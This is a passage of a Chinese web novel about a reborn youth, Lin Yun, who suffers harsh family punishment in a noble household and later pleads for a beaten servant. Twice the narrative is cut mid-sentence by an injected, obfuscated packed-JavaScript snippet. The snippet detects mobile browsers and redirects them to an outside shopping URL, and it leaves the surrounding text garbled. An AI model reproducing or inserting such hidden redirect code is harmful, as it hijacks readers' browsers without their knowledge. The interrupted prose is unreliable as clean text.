“是啊,不光要有英武之姿、豪爽之性,霓儿和霁儿也要好好读书,博取功名才是。你肚里的两个将来也要用心教导,方不辜负侯爷的期盼啊。”林老太太握了玉姨娘的手,两眼弯成小月亮看向了圆桌案的子孙们。 林霓和林霁忙低头应允。不得不说,林霁低头那一瞬,一副长睫毛像是两把羽毛扇遮住了漆黑的眼眸,惹人怜爱,果然天生好皮囊。 此刻大娘子柳氏和贺氏也用饭完毕,坐到了桌旁。女使们添了两把椅子分别放在大将军左右两侧,大娘子紧挨林老太太而坐,贺氏则坐在了林将军右侧。 贺氏坐下后便随口说道:“我看玉姨娘肚围渐大,身子也是不是开始乏沉了?我记得怀霁哥儿和雨菡时五六个月就懒怠走动,身子一天比一天沉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12715457|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢姐姐关心,确实身子是沉了,有时就想卧着。”玉姨娘娇嗔回道。 “那可不行,天气渐热,你合该早晚出去多走动走动,也便生产时少受些罪。”林老太太嘱咐道。 “是,听老太太的。我今天早上还去花园了呢。”玉姨娘应着。 “老太太,可是我们玉姨娘今早在花园里动了气,一个小厮不恭,竟要让姨娘给他让路。”突然玉姨娘身后一个女使跪倒在地,忿然回禀道,这就是早上伸手要打林雲那个女使——恬儿,也是玉姨娘陪嫁丫头中的一个。 王新玉原本家里人口简单,父亲又是个粗官,对孩子们是放任溺宠。她本人也是大大咧咧惯了的,完全没意识到进入侯府做妾其实是件难事,眼前贺小娘挖了坑正等他跳呢。她带来的丫头有四个,一个染了风寒,于冬岁时病殁了。其他三个都很忠心,几乎是她从小的玩伴,恬儿心直口快,敏儿细腻沉稳,铃儿率直热诚。偏偏早上跟她出来的只有恬儿和铃儿,还有几个小丫头。坏也就坏在这儿。贺小娘在一开始就买通了府中大多数下人,嘱咐他们不要跟汀芷苑的人说起林府吴小娘和林雲的往事。且在汀芷苑的下人大部分也是新进的仆从,对内中隐情并不了解。王新玉也只是听下人们偶尔说起过,偏院被罚禁的是府中四少爷林雲,其他大多不知。而自林雲被罚禁在偏院后,府中任何人都不敢擅自提起有关林雲的一切,上次在迎娶她之前,明老只是试探地问了一句,要不要给偏院送一些酒菜,林将军就当场摔了茶杯,冷冷走开了。府中上下除汀芷苑外无人不知,不能提起四少爷的。 偏偏恬儿因为早上林雲惹得玉姨娘不高兴了一会儿就要去触这个逆鳞。其实王新玉也没有怎么,只是开始觉得那个小厮不恭而已,后来林雲亮明身份、赔了礼,她也没有把这事放心上。恬儿却不满,一个连三等仆从都不如的人胆敢对其主子不恭,她便只想着替主子出一口恶气。 宴上的其他人不明就里,只有贺小娘等着看戏。她倒要看看,这个玉姨娘到底在侯爷心里的分量有多重,那个惹了玉姨娘的小子会受到怎样的惩罚。 当年吴小娘和贺小娘同时怀了孩子,但侯爷一心扑在吴小娘身上,对贺小娘爱答不理。两人生产日子相差不多,好产婆都到了吴小娘那边,结果吴小娘顺利产子,贺小娘却因胎死腹中,难产血崩,再不能怀孕生子。贺小娘将这恨转移到了吴小娘和林雲身上,后来想着法地间接折磨他们,好一逞内心之恨。 老太太听见后,脸上起了微妙的变化,改笑脸转而平静地说道:“主子们说话,哪里有你一个下人说话的份儿呢?” “哪个小厮竟敢对姨娘不恭呢?当即就该严惩。”林霓很不平地插嘴道。 “请老太太恕罪。小的实在是看玉姨娘隐忍不过,心疼主子,才冒死请老太太做主的······”恬儿磕头说着,就被玉姨娘打断了。 “住嘴,你退出去。哪里有你说话的份儿。” “新玉啊,你得好好管管她们了。既进了侯府,少不得得依侯府的规矩来。”老太太沉着脸说道。 玉姨娘听到这句,慌忙站起身请罪。 “说说看,是什么样的小厮敢冲撞你?”侯爷也站起身,来到玉姨娘身边,搂住了其肩膀,温柔地问道。 大娘子柳氏不想开口,王氏既有侯爷和老太太撑腰,自己没必要多嘴一问。 “我也好奇,什么小厮,敢对姨娘不恭敬。”林霁悠悠地嘀咕了一句,偏声音还周围人都听得到。 “没有什么,恬儿夸大了。我也没有不高兴的。”玉姨娘的身子靠近了侯爷,小声说道。 “那就是她仗着主子,恃宠而骄了,这可不该是下人们该做的,屈嬷嬷,掌嘴。”老太太头也不抬,想尽快结束这场事的处置。 屈嬷嬷已走过来,却被林将军伸手拦下,林将军转过身问恬儿:“你说,是什么样的小厮?” “回侯爷,穿着破旧、身背竹篓的一个人,他见了玉姨娘不仅不行礼,先头还让姨娘给他让路。后来我要教训他,他竟还阻挡。是姨娘不与他计较,先给他让路过去了。小的替姨娘委屈,姨娘还不让我们说,可小的认为,姨娘怀着孩子本就活动不便,他差点撞上来不说,还需姨娘忍让他,着实不该。”恬儿还很不忿地回答。 “你们问他叫什么了吗?” “他自称林······雲······”这时恬儿才反应过来,林震、林霓、林霁、林雲······,他是少爷才对。她也有些慌神,不想自己犯了家规,以下犯上。 “林雲?”林将军加重了语气问道,搂着玉姨娘肩膀的手也放了下来,背到了身后。 “小的不知道林雲是少爷,小的知罪,小的知罪,求侯爷恕罪······”恬儿忙不迭地磕头求饶。 “屈嬷嬷,等什么!”林将军命令道。 屈嬷嬷看老太太也不动声色,就又立刻上前,命两个年长嬷嬷挟了恬儿,拿起戒板左右脸开打起来,直打到恬儿两腮充血肿胀、嘴角流血不止为止。 其他人听到“林雲”二字,也不敢再出一声,屏息静待。林将军甩了脸色大步回前院书房了。 老太太在罚完恬儿后,向柳氏说了句:“你是主母,该怎么办你清楚!”然后也由屈嬷嬷扶着回养居阁了。 柳氏起身回“是”。命人捆了恬儿按家法处置。 玉姨娘怎么也没想到,仅仅是因为恬儿向老太太告了一状,就被如此严惩。以往恬儿也会急出头,跟老太太跟前告状,若是有人怠慢她一点,让老太太知道了,都会站在她这边替她做主,连大娘子都被训斥过。这个林雲到底什么来头,老太太竟提都不提,侯爷一听到这两个字也变了脸色。 45.醒心 八 八 第二天,林雲还如那几天一样早早起来,担水、浇菜、收拾菜园子。 艳阳高升时,他站在苗圃间的围砖上给葡萄藤缠枝,这是第一次种葡萄,他开始种的密了一些,后来发觉那些葡萄藤胡乱纠缠在一起,而且开花的甚少。他终于腾出手来,拔掉了一些长势不好的苗,将其它的苗藤继续理顺缠绕上藤架。那些藤架是他从山上竹林里砍下来的毛竹做的,一根根细心挑选后,粗细均匀,那些葡萄藤葳蕤而上,黄绿的竹竿、嫩绿的叶片、深绿的藤,折射出夏日一片袅袅的绿意清凉。 他聚精会神地做着自己的事,竟不知偏园的角门已开,阿夏一袭白衣已近到他眼前。 “四少爷,”阿夏看他还未注意到自己,开口唤他。 他听见爽朗的男声叫他,透过层层的绿,从高高低低的绿苗间隙里看到阿夏正站在园圃中间的空地上等他。他心里已经有了不好的预感,实话说,他昨晚睡前都在忐忑,白天的事,父亲知道了会不会又杀气腾腾地出现。他现在也怕了,好不容易才过几天安生日子,大概父亲心里的他已经没有一点好形象了,冲突再升级,怕是要流落街头了。外面那些贫民他是看到的,要是还在社会主义的庇护下,日子再怎么难,也有政府做主,可表面繁华富庶的东京府,大街小巷里的流民乞丐不胜数,甚至不隔几天就会见到有人被凌虐致死的惨案发生。他要是被赶出去,还不如上山去被野狼老虎吃掉死得痛快些。想着想着,不免悲从中来,鼻子又酸酸的了,直至一更天才慢慢睡着。 现在见阿夏突然造访,心里又开始担心起来。他踩着围砖石块绕出苗圃,他还光着脚。一般进到地里,怕泥脏了鞋子,就脱在园中空地处,光着脚丫子去做农活。他的一双脚裹了泥巴,头发毛炸炸的,一头的汗,天热也只着了粗布中衣,裤腿子挽在了膝盖上方,活脱脱一个农民模样,也不怪玉姨娘她们开始的时候责怪他行礼不恭,任何人见到他这个样子,也不会把他当主子看待。 他从木桶里舀了一瓢水,冲洗了下自己的脚丫,心里发虚也不敢问阿夏所来何事,等着阿夏开口来告诉他,他心里大半已经猜到,必定是因为昨天夹道发生的事。因为他的父亲这么长时间以来没有派人来询问过他,而阿夏正是父亲跟前的人,昨天刚发生的事,今天就来问罪,到底是父亲心尖上的人,才会如此在意吧。 “四少爷,侯爷要你即刻去静玉堂。”阿夏口吻未变,可倒是应了他的预判。 “容我换身干净衣裳吧,很快的。”他也没等阿夏回答,快步提着鞋光脚跑进院里,匆匆洗了一把脸,换了身干净的衣服和鞋袜,束好头发,连一炷香都不到就又出了门。 阿夏站在原地,只不过面向院门,很从容地等着他。 阿夏身材挺拔,阔步走在前面,倒显得跟在后面的林雲像个少爷的小跟班了。 进入静玉堂院门,绕过一面盘着虬龙祥云的大影壁,阿夏要他等在院中,而阿夏先进去通报。 穿越而回的载轩魂魄是第一次跨入林府正经院落里。这处院子要比他的偏院大两倍不止,正面五间大开间套房,倒座也有个十四五间,东西两侧厢房连廊少说有二三十米,黄瓦朱漆,雕梁画栋,来往洒扫的小厮女使有十几人,个个轻言慢行,谨慎小心地干着手里的活。他在院内开阔的场地上所见远比路过时瞥见的更为华丽富贵,不由得有些自卑。 阿夏没有出来,只听见从正房东面传出林将军声如洪钟的命令:“跪下!” 他知道是说自己,没多想就跪下去了。院中央没有遮挡,太阳很毒辣地烘烤着他。 他也知道,这个年代的家主可谓是封建家长制集权的代表,有杀生予夺不可一世的威严,想保住自己现在的平静生活,即使是对父亲再多不满,也得隐忍接受,除非自己翅膀够硬,能独立门户。不然,拿鸡蛋碰石头,可有好受的,肖峰差点被打死他没忘,他差点被大火吞没也没忘。 他先是挺直了脊背跪着,但一会儿功夫,膝盖跪在硬石板上的疼就让他难以继续刚才的姿势了。后世里他也跪过好几回,给王主任下过跪,求过黑诊所的大夫,跪过自己的生父程建,跪的时间最长的就属去找王石叔借钱那回了。可也不像这个朝代如此这样折磨人,动不动就跪,下人跪,他也得跪,下跪就一定代表服从吗?大概是这样的。膝盖一软,跪倒下去,全然把自己的尊严踩在脚下,这样才能凸显地位高贵者的权威和对弱小势力的欺压来。万恶的封建社会!他不知道自己跪了多长时间,但总觉得时间一分一秒漫长的像过了个世纪。头顶的日头已经晒得他脖子上额头上又汗浸浸的,他的眼前是耀眼的日光,晃得他黄白不分了。 可父亲还不打算赦免他。 “忍,忍着。为了我那一园子的蔬菜瓜果,黄瓜已经吃上了,又嫩又脆;葡萄也开了花,有的结出了一嘟溜还很小的果子;豆角栽的晚还没有成熟的;但长出的茄子皮紫硬实,过几天长大了拿来炖着吃,想必美味极了;棉花苗已经长到腰间那么高了,虽然有些黄叶,但应该不影响开花。我还得采了新棉花好做两套冬衣,絮一床新棉被,最好是还有富余的,拿来纺纺线,也不致那架纺织机一直落灰。新做的藤躺椅还没怎么睡过,到了午间歇午觉,就可以躺在院里躲树荫下歇歇了。玫瑰开了花,要采些花瓣尝试着做做玫瑰露,脸上没有抹过润肤油,这一年多皮肤都干糙的不成样子······”他闭上眼努力畅想着偏园里的小天地,好转移下膝盖处的酸疼。 他已经直不起腰了,两手垫在膝盖打弯处,想减轻一点痛楚。 院里的下人们很少有来回走动的了,阿夏他也再没见到,此刻的阳光刺得他眼睛都发痛,更何况汗水流到眼睛里,浸得他流出了眼泪。他侧过头,用肩膀的衣服蹭了蹭头上的汗,嘴里已经干得冒烟了。 昨夜林将军在前院书房歇了一夜,谁那儿都没有去。他还是对林雲有气,这一年多一下也没有问过他,就是在等他吃尽苦头来主动告饶,没想到这个小子一身反骨,如此重罚还撑得下去。听到新玉的侍女告状才知道,他还是那么桀骜不驯,一点改过的意思都没有,更是气不打一处来。之前偏院起火本是那小子受了委屈,自己没有替他做主,就是想等他求了自己,好给他个台阶下。现在看来,不光不用管他,还得罚他不可,对自己的妾室不尊重,不就是还对他这个父亲不敬吗? 于是第二□□会后,林将军回了静玉堂,看看柳氏如何处置昨日之事。谁知柳氏只不过按家法责打了恬儿,别的再不过问。 林将军偶回静玉堂,柳氏也没料到,但自己心如槁木,也不想再对侯爷抱什么期待。所以只穿了家常衣服,侯着林将军换下朝服更了常服,就坐在厅堂圈椅上,不在跟前了。 林将军踱步到厅堂,也坐在正面首位上问道:“林雲冲撞新玉一事,你都处置完了?” “回侯爷,妾身按家法杖责恬儿二十,命郎中瞧了伤,送回汀芷苑了。”大娘子不紧不慢地答道。 “完了?” “妾身详细问过了,汀芷苑的人没见过林雲,误以为他是个小厮,而林雲行礼并无不可,王氏也未气恼。正想向侯爷您和老太太讨个示下,看还需如何处置。”大娘子未动身,正襟危坐着,脸色淡然。 “哼,那小子以往便是目中无人,想来他对新玉并无客气,那个侍女总不会平白来告状!”林将军不耐烦地起身,又踱步去了旁边的书房。随后便命阿夏叫来林雲。 林将军面不露,语不详,只命“跪下”,随后透过纱窗看到院中场地上那个小子跪了下去,便冷笑一声再不搭理了。 外面骄阳似火,林雲已经跪了两个多时辰了,身子早就趴伏在地上支持不住,他一睁眼光炫迷离,嘴唇暴起了皮,只穿了单裤的腿麻木疼胀,真的快支撑不下去了。他甚至有些盼着自己昏死过去,那这样的折磨就再也感觉不到了。 大娘子冷眼看到林雲被罚跪如此之久,却毫无慈悲心肠,替他去求求情,哪怕是让侍女给他送碗水解渴也好。的确,吴小娘生前就多次顶撞她,她的儿子不恭不顺,自己哪有什么必要去解围呢。但她忘了林氏子女皆称她为“母亲”,就算做样子也得做到当家主母之责。 也正是林将军见大娘子如此冷酷,更生了厌恶之情。 老太太在养居阁早听到林雲被罚跪一事,但她不好出面回转的。这么多天以来,她原想自己的儿子终会念在雲儿少年丧母又遇火含冤的份上,更何况他以前那么爱芝彤,怎会舍得雲儿受苦下去,该会摒弃之前的成见,把那个可怜的孩子接回到内院去住。但没料到,儿子心硬如铁,和他那个老子一样,当初因为一个小妾被她治死就抛了她们母子去苦守边疆,最后病重都不愿再回来,男人都是一样的狠心肠!只有自己派了阿夏时不时地去悄悄查看下雲儿的景况,再加上也嘱咐老胡头多加照看,才得以安心一些。倒是难为了那个孩子,一个人竟苦熬那么久,却也又修屋又种菜的,把自己料理得还不错。耳闻雲儿被罚跪到午错后还不见儿子发话宽宥,真真是心如铁锅上的蚂蚁。 屈嬷嬷端了茶过来,见老太太面有忧色,也没敢说什么。 老太太问:“侯爷还未叫他起来吗?” 屈嬷嬷摇了摇头,说:“您把心放宽些,总归雲少爷还是林家子嗣,侯爷不会怎样的。” “他久未得到精心照料,不知道还撑不撑得住。”老太太呡了口茶说道。 不多时,从门外递进消息来说,玉姨娘去了静玉堂给四少爷求情了,现在侯爷已经允许四少爷回去了。 “到底新玉心善,有她说句话,侯爷也不好再追究下去了。玉卿竟连这点情分也不愿给,变了,变了啊!”老太太听到侍女元儿传进消息来,悬着的心也放下了。 “是人就会变的。我倒看四少爷的性情温顺了不少,苦了他了,从锦衣玉食的少爷一下子落魄如此,竟还撑得住,有些骨性和韧劲。”屈嬷嬷安慰道。 “像他娘了,但若是他再聪明些,知好歹些,就明白侯爷要他怎么做了。”老太太无奈地说。 “那就得靠四少爷自己去悟了。” 静玉堂这边,林雲实在撑不住了,侧倒在了地上,浑身软的像滩泥,眼睛睁开条缝,却见蓝湛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12745963|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湛的天空上太阳的重影一会儿两个一会儿三个,那太阳巨大的光晕射得他什么也看不清了。 玉姨娘挺着一颗大西瓜般的肚子由五六个侍女扶着走进了静玉堂,两边的侍女为其撑着一把大油纸伞遮阳。她看到林雲一个人已经侧倒在了地上,赤红的脸,后背的衣裳已经被汗湿透了,几缕散落的头发黏在额头面颊上,闭着眼睛微弱地喘着气。她忙命侍女把伞撑在他的头顶,还让人取来凉水喂他喝,自己则直奔书房而来。 林将军假装还在研究兵书,看到玉姨娘进来,放下书,起身迎接。 “妾身给侯爷请安,”玉姨娘很恭谨地微蹲身行礼道,林将军一把扶起她来,不等林将军开口,她又急忙说,“我知道昨天恬儿多嘴惹了您生气,她已受过罚,还望您原谅妾身教管不严之罪。但前日的事纯属误会,倘若四少爷因我受罚,妾身更罪加一等了。” “我明白你懂事。大娘子虽然已处置过,但我若不罚他,怎么给你个交待呢?”林将军面色没有那么严肃了,用手指了指屋外,接着爱抚着玉姨娘的肩膀,关怀地说着。 “侯爷若要因我一人而责罚四少爷,岂不是摆明了我太骄横霸道吗?更何况四少爷已经昏过去了,不要再罚了。算是为这两个积福吧!”玉姨娘楚楚可怜地看着林将军,一副请求的样子,把林将军的一只手搁在了大肚上。 “你不知道,那小子以前就屡屡出言不逊、倔强倨傲得很,几天不打就欠收拾。今天暂且看在你的面子上饶了他!”林将军抚着玉姨娘的肚皮,又命阿夏告诉林雲,让他即刻滚回去。 “人谁无过?知错而改,就是好的。”玉姨娘娇声回道,“侯爷容我先去给大娘子请安。汀芷苑备了消暑的红豆汤,您愿陪我回去吗?” “你大热天的跑来,本就不易,还如此知书达礼,我自当护你回去。”林将军更觉玉姨娘娇俏可人,不自觉地喜上眉梢。 玉姨娘出了门正看见,阿夏手持铜盆,把一盆水都泼在了林雲头上身上,林雲被凉水激醒,艰难地撑起上半身来。“侯爷命您即刻回去。”阿夏言语中丝毫不露感情。 玉姨娘随即开口说道:“阿夏,还不扶起他来!” 阿夏瞥了一眼地上的人儿,淡漠地回道:“四少爷曾说过,我不配扶他,还是找个配得上的人才是。” 林雲听到这话,也就明白了,难怪府中下人对他的遭遇无动于衷,大概以前说话不当惹恼了不少人吧。但知道玉姨娘肯亲自为他求情,多少有些感激,喉咙发干地向玉姨娘说道:“前日是我之过,姨娘不与我计较,我很感激,谢谢您!” 玉姨娘还要答话,一旁的敏儿推了推她的胳臂,示意她快去给大娘子请安,不要再迟疑了。其实敏儿经此一事,也看出个七八分了,侯爷不喜欢四少爷,府中上下都对其默然无视。侯爷借着这事处罚了四少爷,表面看是维护了玉姨娘,其实是害了玉姨娘,自此府中人也自然认为玉姨娘骄横霸道,仗着宠爱去欺负一个没怎么见过的少爷,即使是再不受侯爷喜爱的孩子,那也是正经主子。这话说出去会好听吗?而恬儿冲动莽撞,极易表露内心情绪,又爱为主子出头,倘若这事回来她们向她提起,她绝不会让恬儿在家宴上告状。而眼前这个四少爷,想必也是个多事的人,还是离得远一些为好。故扶着玉姨娘快步离开了。 林雲缓了一缓,强扎挣着站了起来。可膝盖处的疼令他的腿直打软,没走两步就摔在地上,再慢慢地挪动着起来,咬紧了牙,一点点地走近了倒座廊下的扶手,沿着这一边走出去。可刚走出去,他又撑不住跪倒在地,他便爬到门外墙角下,蜷着腿把手掌搓热了揉膝盖。眼泪也不争气地流了出来,今天要不是父亲心尖上的宠爱求情,可能父亲还不会饶他吧!他一肚子的委屈在怀里翻涌,却无处安放,他也终于明白了,为什么以前的林雲总会顶撞他的父亲、用语言攻击别人,因为没有人理解他,没有人愿意了解他的委屈和难过,他憋满了一腔的控诉难以启齿,只好用激烈的方式来吸引别人的注意、倾泻自己的不满。 其实今天他跪在那里就在想,就这样生不如死的折磨不把人逼疯才怪。一定要你绝对服从,一定要你不能反抗,一定要你没有个人意志,这样父亲才是父亲,儿子才是儿子,什么狗屁的父严子孝!林雲很倔,他也倔,他不想那么卑微地爬到父亲脚下,痛哭流涕地乞求人家开恩,就算是逞强,也得逞到底,反正已经死过一回了,再死了,他也不想投胎转世了,人生这么苦,苦两次也就罢了,不要再来一次了。他还想到了地狱,想到天堂,想起以前书上教的无神论,后来他也不再想了,身体上的痛苦已经大于心灵的煎熬了,他只求快快昏过去,或者干脆死掉,了了这些冤债吧。 从静玉堂回自己偏院的路上,他步履蹒跚,只能靠扶着墙才不致摔倒,路程竟比原来多了许多。也遇了不少仆从,可没有一个停下来帮助他,失望如同一把尖刀刺进心里,让他在这暑天里遍生寒意。 很多仆从看到他那个样子也觉得甚是可怜,但早就有人传出话来,四少爷为侯爷厌弃,谁帮他那就是给自己找麻烦。故而都置若罔闻了。 46.醒心 九 九 “无人与我立黄昏,无人问我粥可温,无人拭我眼中泪,无人梦我与前尘。”林雲躺在院中的藤椅上,手持了一壶酒,一边喝一边感叹道。 自那日自己强扎挣着一步一挪地回到偏院后,他的情绪一直很低迷。膝盖的疼只不过是□□的疼痛,但内心所受的伤害更甚,他仿佛又被困在那些翩飞的痛苦记忆里,一幕幕情景无论在他清醒时还是昏睡时,都萦绕在他的脑海里,怎么也挥之不去。他很想放下,很想拥紧自己的满园绿意不去想其他的事,但却做不到。 在后世里他只和王敏喝过一次啤酒,那些泛着泡沫的黄色液体并不好喝。他还想起了母亲在那个大年夜里喝的红酒,那些深红色的液体也不好喝,苦涩,是的,是苦涩。酒,是无数人钟爱的琼浆玉液,是钟爱它的苦涩吗?谁说喝下的不是苦涩的人生呢? 他还想起之前看到的醉汉,在巷子里喝得东倒西歪,嘴里胡言乱语,哇的弯腰吐出一些秽物,还是抱着酒壶继续喝,没有人理会那个醉汉,醉汉也不需要人理会,谁说他醉的不是自己乌七八糟的人生呢? 所以他也去打了酒。“世人皆能醉,我不能吗?我为什么不能醉倒在自己的人生里呢?就让我醉吧,醉了,那些痛苦:母亲,父亲,钱,误解,欺负······都消失了吧!”他也妄图在酒精里迷失自我,用酒精来麻痹自己。 可是每一口咽下去,那火辣辣的液体顺着食道一路向下,灼烧得他的胃并不好受。 一壶酒,他也就喝了几口,把它随手搁在了一旁的地上。复在朗月悬照下,静静地想心事。 原来酒也不能解愁。他还是记恨那些放不下的人,他不明白,父亲对他怎么会有那么大的成见,即使他倒在地上也不会看他一眼。他不明白的事还很多,例如林芳清,以前他认为自己很爱很爱妈妈,一直为自己没能力救活她而自责不已,可现在他对她的情感好像复杂了许多,他有些怨恨她,为什么把他带到世上来受苦,明明可以打掉他,重新开始一段生活,偏偏要把他扯进来,最后又留他一人孤苦伶仃;比方说杜明,是那么要好的好朋友,算是好到能穿一条裤子的哥们儿,可他头也不回地跑掉了,他明明那么需要人帮助,可为什么再不来帮帮他呢,也许是林载轩真的死了吧,如若杜明常去看看他,他就不会那么凄惨地死在母亲的骨灰坛前,没有人知道了;王敏还好吗,他在工地上认识的大哥哥,自分别后一个短信一个电话也没有,大概已经忘掉他了吧,为什么人都很薄情呢······ 他在这派明月清辉中感到了孤独,是孤独,孤独伴着他,共享人生滋味。 好在日子还得照样过下去,农事的忙碌消解了他大部分时间。 又到初一日,林雲一早就穿了花园去管事院,路上生怕又遇了什么大人物被刁难。 可他一进下人院便看到齐生生跪了半院的仆从和府丁,明老站在房前的台阶上一脸严肃,台阶下一侧也跪了十几个管事的头目,而正中央正在行家法责打一个褪去衣裤的府丁。 那名府丁约二十四五,脸庞白净,还没有蓄须,因剧痛而眉眼变了形,嘴里塞着破布团,不令其出声,两手紧紧巴住长凳的两侧,俯趴在长凳上的身子还在随板子的责打而颤动着,腰以下膝以上部位已经被一上一下落下的板子打得血红破皮,而明老仍未发话制止。 他看到这一幕,自己的股间也隐隐发痛起来,因为林雲也曾被这样的板子痛打过。他醒来的时候,屁股和大腿根还扯痛地要命,敷了快一个月的药才好利索,深知被如此痛罚,有医延治或可恢复如初,倘若不济的话不死也要残废了。 他的心揪揪的,看着那板子仍是重重地落到那个府丁身上,仿佛是打在了自己心上一般,一下一下的。 地下跪着的众人连头也不敢抬起来看,都垂得低低的,还有人吓得颤巍巍的,有些发抖的样子。 他站在一进门的那儿,一时也不知道怎么办才好。 眼看着那府丁涨红了脸色,额上青筋暴出,一板子下来,头便猛的一抬再无力地垂下,快要撑不住了。却仍见明老不动声色。 他虽然不想生事,上次被罚,他还记忆犹新,膝盖才养好,更不想因为什么再被罚,可眼前的是条人命,他的良心不许他见死不救。冲动占据了上风,他丢下竹篓,快跑到行刑的一人面前,用手挡住那人快要落下的板子,同时大喊:“要把他打死才算吗?”再使劲一推,将那人推远了,俯身抽出受刑人嘴里的布团,好能让他大口喘气。 另一名行刑的府丁见他如此仗义相救,也就停下了手,面对明老而立。 他也面向了明宅老义正辞严道:“他做错了事,该打该罚都应当,但这么打下去会要他的命的。他也是爹生娘养的,也有血有肉有人疼的,还请明老高抬贵手!” “你知道为什么打他吗?”明宅老脸色阴沉道。 “我······不知道。但我知道,人的命不分贵贱,谁的命都是命,妄取他人性命都不该。”这话说出来,他有些心虚。后世里医院里见到的,哪条命不是命呢,可有人命值千金,有人命如草芥,自己的一截小臂不也才值三万块吗?在这个封建礼教吃人的社会,这些把卖身契交给大宅的仆从们,哪个能决定了自己的生死呢?杏萍仅仅是因为加害其主就被打死,自己刚听到传闻时还不免痛快,后来也心生悲凉,就算她错了,至于要她的命吗,是拿她的命抵阿土的命吗!可到底人死不能复生,杏萍的死很大程度上是他间接导致的,他也因此自责了好久。 “哼!”明宅老鼻子里哼了一声,很不屑地说道,“他昨儿牵马回厩,没有收服住马儿,惊了玉姨娘的胎,昨天一夜太医们都在汀芷苑。还好是有惊无险,若是出了一点差池,可不是家法惩治了!” 他听完明老所说,也明白了,若是由父亲来惩治,怕是真要这个府丁的命了。 院中的人有偷摸抬起头观察的,但又被明宅老戗杀的眼神逼得低下头去。 他也有些惭愧地低了头问:“玉姨娘没事吧?” “四少爷若是有心,不妨亲去问候问候。”跪在一旁的徐管家未敢抬头,悄声说道。 他有些不敢,有时候总觉得有些事发生的蹊跷,仿佛冥冥中有人安排好似的,他会被冤枉、被误解,会与父亲起争执。玉姨娘上次解围,他心里很感激,但又找不到什么机会去表达。虽然这次他很想去看望她,但又不敢,怕再生出什么事来。 眼看明宅老还未处置完,他看着趴在长凳上半死不活的人,仍求了情道:“但还请明老网开一面,他快撑不住了。” “这请求恕老夫不能从命,此是侯爷亲自下的令。”明老不为所动,眼神示意行刑人继续打下去。 “明老,父亲是要活活打死他吗?”他有些害怕地问,背后的人又被塞了布团,板子声又接续起来。 “这不是你该关心的事!”明老瞥了他一眼答道。 他实在不忍听闻,转身跑了出去,路上遇到两个女使,忙揪住她们问道:“侯爷在哪儿?” 一个女使连连摇头,另一个也被旁边的拽着,不敢则声。 他一连揪住路上遇见的几个人,都不肯告诉他父亲在哪个院子哪间房。最后他又拽住一个女使急问,才知道,父亲在静玉堂责问大娘子,动了好大的怒火。 他急急跑去静玉堂,进了当院,整个院子凝神静气,女使小厮们都不见人影,他不知道父亲在哪间正屋里。就走近了一排正房前,跪在当地,大声喊:“林雲未经父亲同意冒昧闯来,斗胆为下人院的受刑人求情,还请父亲看在玉姨娘善良敏慧的份上,为玉姨娘腹中胎儿积福,留那个犯错府丁一条命,好让他攒功补过吧。” 过了片刻,正中两扇门缓缓打开,地下跪了七八个女使,林将军从旁边的套间里背着手阴着脸走了出来,站在廊下,沉了声音责问道:“哪个叫你来求情的?” “是我自己,我刚刚路过下人院,看到那个府丁正在受刑于心不忍。还望父亲发发慈悲,不要打死他。我久居偏院,不知道这件事的头尾,可就算他犯了大错,也是一条鲜活的命。我挨过板子的滋味,倘若再打下去他会没命的。”林雲跪伏在地下,极其诚恳地答道。 “那厮忒可恶,差点害得你姨娘腹中胎儿早产,幸得太医们救了回来。你姨娘上次替你求情,不图你报答,你竟还替害她的人说话。果然你快成悖逆人伦常情的畜生了!”林将军厉声骂道。 “我不敢,正因为姨娘给我求情,对我好,我才懂得‘人之善念,诚而无价’的道理。玉姨娘温柔敦厚、佛口圣心,若是姨娘肯定也不愿用人命来结尾这一场祸事。”林雲再次恳求道。 “你小子也会念别人的好么!”林将军嗤之以鼻,仍是很严厉地斥责道,“你不赶快滚回你的院中去,不要在这里现眼了。” “父亲,父亲还请您饶恕他!阿土杏萍之死已令我椎心泣血了,他们固然是仆从,可也是人命,谁的命不是爹娘给的呢?谁的命就可以轻易被掠夺呢?他们也是活生生的人啊,那个人已经半死了,一定要他死,才能偿了他的罪过吗?”林雲红了眼圈,抬起头,字字泣血地哀求道。 还未及林将军怒不可遏地发起火来。屈嬷嬷手扶着老太太走进了静玉堂,“眼下要紧的是救治新玉,那个小厮处罚过便是,我已经叫屈灵去停了罚。积善之家,必有余庆,积不善之家,必有余殃。侯爷说对吗?” “是是,母亲怎么过来了?又让母亲劳累了。”林将军三几步下了台阶,赶着两手去搀扶老太太。 林雲顺着他们说话的声音看去,只见一头半白银丝的端庄老妇人,头上是金丝攒珠高发髻,绾着一支翠玉如意簪;身着墨绿轻纱宽袖衫,外套墨绿绣竹的背心,下着银白裉缎百迭裙,腰间系着彩绣辉煌的玉环绶,脚蹬墨缎翘头弓鞋,鞋尖上绣着嫩色的海棠叶,缀着颗颗小珍珠。一身的雍容典雅,举止舒徐,显出了其珍贵宽大的气度。他看出这是祖母,林雲的祖母,于是俯身还带些哽咽说:“给祖母请安。” 